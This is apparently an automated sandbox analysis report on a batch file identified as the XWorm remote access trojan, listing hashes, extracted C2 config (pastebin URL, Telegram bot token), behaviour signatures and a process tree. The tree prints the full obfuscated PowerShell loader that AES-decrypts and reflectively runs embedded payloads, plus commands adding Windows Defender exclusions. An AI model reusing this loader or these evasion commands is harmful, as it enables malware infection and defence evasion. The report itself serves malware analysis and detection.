Analysis

  • max time kernel
    8s
  • max time network
    9s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2024 19:26

General

  • Target

    rootkited.bat

  • Size

    440KB

  • MD5

    e484f05f1d6bb25017695938f8f9d1dc

  • SHA1

    31b317dbf41bea5ef0e1338ba1dfedb019c4a606

  • SHA256

    bad67dd9454a5d74dd958eda8ac49c6682d798d3182aeeb1ee198ce3e66f5109

  • SHA512

    27375f90ca85c1a1393a1bfa243abdce413bca3a4cfde9ef80a890c93ed0b16f79ce1111671ba2a6fb6f12e5c1dfe6f0c026bc1ced01c24f7a106eaaaecd6984

  • SSDEEP

    12288:Vq1Mvj0LPw0oYCy1Jx5oZamp0RHHwJOtx:VljsI0dC68Za80BQEx

Malware Config

Extracted

Family

xworm

Attributes
  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/54jZmcfW

  • telegram

    https://api.telegram.org/bot7470467235:AAH5xKlgIYdawUGRmIROyBj64e_oY5ROaic/sendMessage?chat_id=1330099235

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 7 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      2⤵
        PID:3512
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:912
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:952
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:432
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:736
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1028
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                  PID:1040
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1052
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                    1⤵
                      PID:1096
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1188
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Indicator Removal: Clear Windows Event Logs
                        PID:1232
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1304
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1312
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1376
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1408
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                1⤵
                                  PID:1420
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1560
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1572
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1640
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1688
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1736
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1768
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1848
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1856
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1916
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2008
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                      1⤵
                                                        PID:2132
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2168
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2180
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2396
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2412
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2420
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                  PID:2476
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2612
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2620
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2640
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2792
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:1072
                                                                        • C:\Windows\Explorer.EXE
                                                                          C:\Windows\Explorer.EXE
                                                                          1⤵
                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3320
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rootkited.bat"
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:208
                                                                            • C:\Windows\system32\PING.EXE
                                                                              ping -n 1 www.google.com
                                                                              3⤵
                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                              • Runs ping.exe
                                                                              PID:2212
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ASRknCxDp4etiheySKX7HoUO7MX75S2TThgxNrvf9P0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k9bGkVyIyvagVZMKH9eqKA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $esZHU=New-Object System.IO.MemoryStream(,$param_var); $CyIHI=New-Object System.IO.MemoryStream; $xHhsl=New-Object System.IO.Compression.GZipStream($esZHU, [IO.Compression.CompressionMode]::Decompress); $xHhsl.CopyTo($CyIHI); $xHhsl.Dispose(); $esZHU.Dispose(); $CyIHI.Dispose(); $CyIHI.ToArray();}function execute_function($param_var,$param2_var){ $hfvNe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DgevX=$hfvNe.EntryPoint; $DgevX.Invoke($null, $param2_var);}$DpIzr = 'C:\Users\Admin\AppData\Local\Temp\rootkited.bat';$host.UI.RawUI.WindowTitle = $DpIzr;$aQJNz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DpIzr).Split([Environment]::NewLine);foreach ($kaoWt in $aQJNz) { if ($kaoWt.StartsWith('AHYjqkIktYisQQfJMFol')) { $nnXUv=$kaoWt.Substring(20); break; }}$payloads_var=[string[]]$nnXUv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                              3⤵
                                                                                PID:4532
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                3⤵
                                                                                • Blocklisted process makes network request
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:4844
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                  4⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:3412
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                  4⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:4332
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3328
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                              1⤵
                                                                                PID:3496
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                1⤵
                                                                                  PID:4956
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                  1⤵
                                                                                    PID:4396
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                    1⤵
                                                                                      PID:3516
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                      1⤵
                                                                                        PID:2668
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                        1⤵
                                                                                          PID:4408
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                          1⤵
                                                                                            PID:668
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                            1⤵
                                                                                            • Drops file in Windows directory
                                                                                            PID:1876

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

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                                                                                          Downloads

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                            Filesize

                                                                                            2KB

                                                                                            MD5

                                                                                            d85ba6ff808d9e5444a4b369f5bc2730

                                                                                            SHA1

                                                                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                            SHA256

                                                                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                            SHA512

                                                                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            944B

                                                                                            MD5

                                                                                            6d42b6da621e8df5674e26b799c8e2aa

                                                                                            SHA1

                                                                                            ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

                                                                                            SHA256

                                                                                            5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

                                                                                            SHA512

                                                                                            53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1l2a1qn5.s3e.ps1

                                                                                            Filesize

                                                                                            60B

                                                                                            MD5

                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                            SHA1

                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                            SHA256

                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                            SHA512

                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                          • memory/432-68-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1072-78-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1096-77-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1232-75-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1304-79-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1688-66-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/1856-80-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2008-81-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2168-82-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2180-67-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2396-72-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2668-70-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/2792-74-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/3320-18-0x0000000007AB0000-0x0000000007ADA000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/3320-65-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/3496-76-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/4396-71-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/4844-14-0x000002467EA90000-0x000002467EB06000-memory.dmp

                                                                                            Filesize

                                                                                            472KB

                                                                                          • memory/4844-17-0x000002467EA10000-0x000002467EA28000-memory.dmp

                                                                                            Filesize

                                                                                            96KB

                                                                                          • memory/4844-16-0x000002467E620000-0x000002467E66E000-memory.dmp

                                                                                            Filesize

                                                                                            312KB

                                                                                          • memory/4844-15-0x000002467C570000-0x000002467C578000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/4844-0-0x00007FF867B13000-0x00007FF867B15000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4844-13-0x000002467E9C0000-0x000002467EA04000-memory.dmp

                                                                                            Filesize

                                                                                            272KB

                                                                                          • memory/4844-69-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

                                                                                            Filesize

                                                                                            10.8MB

                                                                                          • memory/4844-12-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

                                                                                            Filesize

                                                                                            10.8MB

                                                                                          • memory/4844-115-0x00007FF867B13000-0x00007FF867B15000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4844-11-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

                                                                                            Filesize

                                                                                            10.8MB

                                                                                          • memory/4844-1-0x000002467C530000-0x000002467C552000-memory.dmp

                                                                                            Filesize

                                                                                            136KB

                                                                                          • memory/4844-141-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

                                                                                            Filesize

                                                                                            10.8MB

                                                                                          • memory/4956-73-0x00007FF846470000-0x00007FF846480000-memory.dmp

                                                                                            Filesize

                                                                                            64KB